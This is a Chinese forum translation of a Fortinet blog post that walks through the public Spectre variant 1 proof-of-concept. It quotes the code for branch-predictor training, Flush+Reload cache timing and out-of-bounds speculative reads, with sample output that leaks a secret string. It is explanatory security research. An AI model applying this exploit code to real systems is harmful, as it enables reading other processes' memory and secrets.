首页
社区
课程
招聘
[翻译]Fortinet 团队对 "幽灵" Spectre CPU 漏洞的分析
2018-2-5 13:47 3189

[翻译]Fortinet 团队对 "幽灵" Spectre CPU 漏洞的分析

2018-2-5 13:47
3189

这篇文章将讲述“幽灵”漏洞的实现细节,该漏洞是针对AMD、ARM和Intel 处理器的CPU。攻击的原理可以在b站这里看到,这里附录里有poc源代码的链接,也可以一边看文章一边看代码


第5和第8行包含了用于 Flush+Reload 缓存攻击的 rdtscp 和 clflush 文件。这些指令并不是在所有的处理器上都是可用的,例如,用于读取时间戳记计数器的rdtscp,通常只用于最新的cpu上,更常见的是rdtsc,但它是非序列化的,意味着cpu可能会将其序列化,所以对于时序攻击,它会和一个序列化的比如cpuid这样的命令一起使用。如果rdtscp和rdtsc都不可以用,那还有别的选择(在下一篇博文中我将会讲解在ARM处理器中的使用细节)。


#ifdef _MSC_VER
#include  /* for rdtscp and clflush */
#pragma optimize("gt", on)
#else
#include  /* for rdtscp and clflush */
#endif


第21行的代码中array1 代表了位于攻击者和受害者之间的共享内存空间。我们并不关心这个空间里面的内容,它的大小可以随意指定,此处为160字节。

array1被两个未使用的数组unused1和unused2包围着:这些数组有助于确保我们命中不同的缓存行。在许多处理器上(例如Intel i3,i5,i7,ARM Cortex A53等),L1高速缓存每行有64个字节。


uint8_t unused1 [64];
uint8_t array1 [160] = {1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16};
uint8_t unused2 [64];


第25行就是我们的秘密内容了,这个秘密内容只有受害者知道,也是攻击者尝试获取的内容。


在poc中,攻击者和受害者共享相同的进程,这样便于简化代码。事实上,受害者和攻击者共享一个内存空间,并且攻击者可以调用位于29到35行的victim_function()函数。


27到35行就是问题所在的victim_funtion()函数,第27行是确保在编译期间victim_funtion()函数不会被编译器删除。Victim_funtion()函数在 Spectre paper 的第四部分有详细的描述。一旦x的值超过了array1_size,处理器就会执行下列步骤:

1、  读array1_size的值。这会导致缓存丢失。

2、  当处理器读取array1_size的值时,由于缓存丢失,它是long型的,分支预处理器认为if语句的条件判断为true,然而这次推断是错误的。

3、  推测性的读取array1[x]的内容,缓存命中的缘故所以速度会很快。

4、  读取array2[array1[x] * 512] ,由于缓存丢失,它会是long型的。

5、  当步骤4的读取尚未结束时,步骤1的结果返回了,处理器这才意识到之前的if推断是错误的,并退回之前的状态,但是并没有清除缓存。


uint8_t temp = 0; /* Used so compiler won't optimize out victim_function() */

void victim_function(size_t x)
{
    if (x < array1_size)
    {
        temp &= array2[array1[x] * 512];
    }
}


Spectre paper 中提到了k*256,其中k是array1[x](即array1[x]*256),而代码中为什么却是array1[x]*512呢?这是因为乘法因子必须要是高速缓存行的大小,对于大多数英特尔处理器而言,正如我们前面所说的,每行64字节,即64×8=512。不同的处理器这个值也是不同的。


第43行开始是readMemoryByte() 函数,它的功能是推测位于给定地址中的值。无论字节数是多少(此例中是256 byte), 函数将测试使用Flush + Reload缓存攻击的方法访问该值所需的时间。


所有的时间值都存储在results表中,最后仅有2个最优值被返回。


如下代码所示,第52、53行仅仅初始化了result表,不存在缓存攻击。


for (i = 0; i < 256; i++)
    results[i] = 0;


缓存攻击是在第54到89行实现的。首先,进行清除工作,我们刷新整个array2表的内容,这个表是和攻击者共享的,并且需要能够存储256个不同的缓存行,每个缓存行大小是512位。


for (i = 0; i < 256; i++)
   _mm_clflush(&array2[i * 512]); /* intrinsic for clflush instruction */


接下来62到77行的代码,是多次调用victim_function()函数,这一部分的代码执行顺序是:


第一步,刷新缓存行

_mm_clflush(&array1_size);


第二步,确保刷新工作已经完成,并且处理器没有将它序列化。注释中提到,intel 和AMD处理器中的序列化指令mfence也可以替代这个功能,其实cpuid指令也可以实现。


for (volatile int z = 0; z < 100; z++)
{
} /* Delay (can also mfence) */


第三步,是计算x的值,这几行有点难以理解:


/* Bit twiddling to set x=training_x if j%6!=0 or malicious_x if j%6==0 */
/* Avoid jumps in case those tip off the branch predictor */
x = ((j % 6) - 1) & ~0xFFFF; /* Set x=FFF.FF0000 if j%6==0, else x=0 */
x = (x | (x >> 16)); /* Set x=-1 if j%6=0, else x=0 */
x = training_x ^ (x & (malicious_x ^ training_x));


第四步,调用victim_function()函数


不必逐行去理解第三步涉及的代码,printf打印输出一下就能看见程序运行的结果:


...
j=23 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=22 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=21 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=20 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=19 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=18 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
j=17 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=16 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=15 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=14 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=13 tries=999 malicious_x=18446744073707453224 training_x=7 x=7
j=12 tries=999 malicious_x=18446744073707453224 training_x=7 x=18446744073707453224
...


连续五次生成一个较小的x,让victim_function(x)函数执行分支语句,让分支预处理器误认为就改执行这个分支语句,在经过五次这样的训练之后,进程就会在第六次也这样执行代码。


在错误的执行了Victim_function()函数中的分支语句后,我们就知道访问缓存中给定字节的值需要的时间,这也是缓存攻击的核心(第79到89行):


/* Time reads. Order is lightly mixed up to prevent stride prediction */
for (i = 0; i < 256; i++)
{
    mix_i = ((i * 167) + 13) & 255;
    addr = &array2[mix_i * 512];
    time1 = __rdtscp(&junk); /* READ TIMER */
    junk = *addr; /* MEMORY ACCESS TO TIME */
    time2 = __rdtscp(&junk) - time1; /* READ TIMER & COMPUTE ELAPSED TIME */
    if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
        results[mix_i]++; /* cache hit - add +1 to score for this value */
}


正如注释中所说,我们不是简单地猜测访问序列中每个字节的时间,而是将它们混合在一起,以便处理器无法猜测接下来要访问哪个字节,然后优化访问。这个部分由第82行处理。


然后,第83行, addr = &array2[mix_i * 512] 计算要检查的缓存行的地址。接下来的84到86行,我们定时访问这个缓存行中的每一个值。如果这个速度很快,那就是缓存命中。如果访问速度很慢,那它就是一个缓存缺失。如果是缓存命中,这就意味着之前的缓存行在调用victim_function()函数时被访问过。然而之前调用victim_function()函数时是认为x大于array1_size ,在执行期间,处理器访问了array1[x]数组,可是索引x却是远远大于数组的长度,这就越界读取了内存中的内容。索引x可以调整来读取之前写到“secret”字段中内容,例如,假设处理器读取到了secret字段内容’Magic’的’M’,那么array1[x]=’M’,第33行,处理器就可以越界访问array2[‘M*512’]。



再来看一下第33行的victim_function()函数:

temp &= array2[array1[x] * 512];


当处理器访问到array2['M'*512],它就缓存了’M’的行号。到这里可以知道,像mix_i = array1[x] = 'M'这样的形式就能知道secret字段里面的值了。我们将把它记录下来,result[‘M’]就成为一个缓存命中了:

if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[tries % array1_size])
    results[mix_i]++; /* cache hit - add +1 to score for this value */


CACHE_HIT_THRESHOLD的测试中可以清楚知道,低于这个值是缓存命中,超过这个值就不是。CACHE_HIT_THRESHOLD的值是多次测试后获得的。为什么它要测试 mix_i != array1[tries % array1_size]?可能是为了排除这个索引,因为它通常会提供更多的缓存命中,因为tries是当前的索引值。


readMemoryByte 函数剩下的部分就很简单了:在缓存命中选择最可能的2个字节值。


现在到118行main()函数的开头:

size_t malicious_x = (size_t)(secret - (char *)array1); /* default for malicious_x */


这部分进程的内存布局中,我们有数组array1,里面是一堆字节,接着是secret字段中的内容。当我们在victim_function()函数中越界读取array1中的内容时,如果想读取secret字段中的内容,我们需要知道一个偏移量。这个偏移量可以这样来计算:array1 + offset = secret,所以,offset = secret - array1 。

第124到130行可以运行“幽灵”代码读取内存其他部分的内容:

if (argc == 3)
{
        sscanf_s(argv[1], "%p", (void * *)(&malicious_x));
        malicious_x -= (size_t)array1; /* Convert input value into a pointer */
        sscanf_s(argv[2], "%d", &len);
        printf("Trying malicious_x = %p, len = %d\n", (void *)malicious_x, len);
}


第一个参数是要读取的地址值,第二个参数是声明要读取的字节数。下面的例子提供了secret字段的地址,并且仅仅读取10个字节。


$ ./spectre.out 0x400d08 10
Putting 'The Magic Words are Squeamish Ossifrage.' in memory
Reading 10 bytes:
Reading at malicious_x = 0xffffffffffdfec68 ... Success: 0x54='T' score=2 
Reading at malicious_x = 0xffffffffffdfec69 ... Success: 0x68='h' score=2 
Reading at malicious_x = 0xffffffffffdfec6a ... Success: 0x65='e' score=2 
Reading at malicious_x = 0xffffffffffdfec6b ... Success: 0x20=' ' score=2 
Reading at malicious_x = 0xffffffffffdfec6c ... Success: 0x4D='M' score=2 
Reading at malicious_x = 0xffffffffffdfec6d ... Success: 0x61='a' score=2 
Reading at malicious_x = 0xffffffffffdfec6e ... Success: 0x67='g' score=2 
Reading at malicious_x = 0xffffffffffdfec6f ... Success: 0x69='i' score=2 
Reading at malicious_x = 0xffffffffffdfec70 ... Success: 0x63='c' score=2 
Reading at malicious_x = 0xffffffffffdfec71 ... Success: 0x20=' ' score=2


我们也可以读取更多的内容,比如我们这次读取100个字节的内容,更往后一点的“Putting %s in memory”字段的内容就被读取出来了:


$ ./spectre.out 0x400d08 100
...
Reading at malicious_x = 0xffffffffffdfec8f ... Success: 0x2E='.' score=2 
Reading at malicious_x = 0xffffffffffdfec90 ... Success: 0x00='?' score=2 
Reading at malicious_x = 0xffffffffffdfec91 ... Success: 0x50='P' score=2 
Reading at malicious_x = 0xffffffffffdfec92 ... Success: 0x75='u' score=2 
Reading at malicious_x = 0xffffffffffdfec93 ... Success: 0x74='t' score=2 
Reading at malicious_x = 0xffffffffffdfec94 ... Success: 0x74='t' score=2 
Reading at malicious_x = 0xffffffffffdfec95 ... Success: 0x69='i' score=2 
Reading at malicious_x = 0xffffffffffdfec96 ... Success: 0x6E='n' score=2 
Reading at malicious_x = 0xffffffffffdfec97 ... Success: 0x67='g' score=2 
Reading at malicious_x = 0xffffffffffdfec98 ... Success: 0x20=' ' score=2 
Reading at malicious_x = 0xffffffffffdfec99 ... Success: 0x27=''' score=2 
Reading at malicious_x = 0xffffffffffdfec9a ... Success: 0x25='%' score=2 
Reading at malicious_x = 0xffffffffffdfec9b ... Success: 0x73='s' score=2 
Reading at malicious_x = 0xffffffffffdfec9c ... Success: 0x27=''' score=2 
Reading at malicious_x = 0xffffffffffdfec9d ... Success: 0x20=' ' score=2 
Reading at malicious_x = 0xffffffffffdfec9e ... Success: 0x69='i' score=2 
Reading at malicious_x = 0xffffffffffdfec9f ... Success: 0x6E='n' score=2 
Reading at malicious_x = 0xffffffffffdfeca0 ... Success: 0x20=' ' score=2 
Reading at malicious_x = 0xffffffffffdfeca1 ... Success: 0x6D='m' score=2 
Reading at malicious_x = 0xffffffffffdfeca2 ... Success: 0x65='e' score=2 
Reading at malicious_x = 0xffffffffffdfeca3 ... Success: 0x6D='m' score=2 
Reading at malicious_x = 0xffffffffffdfeca4 ... Success: 0x6F='o' score=2 
Reading at malicious_x = 0xffffffffffdfeca5 ... Success: 0x72='r' score=2 
Reading at malicious_x = 0xffffffffffdfeca6 ... Success: 0x79='y' score=2 
Reading at malicious_x = 0xffffffffffdfeca7 ... Success: 0x0A='?' score=2 
Reading at malicious_x = 0xffffffffffdfeca8 ... Success: 0x00='?' score=2 


第133到145行的代码在内存中试图读取偏移量为malicious_x,长度为len个字节的内容,这个过程是使用“幽灵”代码中的readMemoryByte() 部分来实现的。


while (--len >= 0)
    {
        printf("Reading at malicious_x = %p... ", (void *)malicious_x);
        readMemoryByte(malicious_x++, value, score);
...


回想之前所说的,readMemoryByte()从缓存命中中返回最可能的2个值。经过我的多次尝试后,返回值要么只要一个,要么没有。如果没有,程序会显示“Unclear”。如果有一个或两个值,则显示”Success”并打印值(见第137-144行)。


来源:https://blog.fortinet.com/2018/01/17/into-the-implementation-of-spectre
由看雪翻译小组cherrir编译


[培训]内核驱动高级班,冲击BAT一流互联网大厂工 作,每周日13:00-18:00直播授课

收藏
点赞1
打赏
分享
最新回复 (1)
雪    币: 310
活跃值: (1917)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
niuzuoquan 2018-2-5 14:02
2
0
mark
游客
登录 | 注册 方可回帖
返回